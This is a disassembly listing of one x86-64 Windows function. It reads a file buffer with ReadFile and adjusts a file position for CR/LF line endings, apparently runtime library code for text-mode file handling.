push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140006f80
sub rsp, rax
mov rax, qword [0x140034080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140012e6c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140015e27
mov rax, rbp
jmp 0x140015f2f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x361f0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140016d24
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x361f0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140015f2b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140015f2b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140016d24
test rax, rax
js 0x140015f2b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140015f2b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140015f1d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140015f1d
cmp byte [rcx], 0xd
jne 0x140015f03
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140015f12
cmp byte [rcx + 1], 0xa
jne 0x140015f12
inc rcx
jmp 0x140015f12
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x344c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140015ee5
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140015f2f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140006920
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret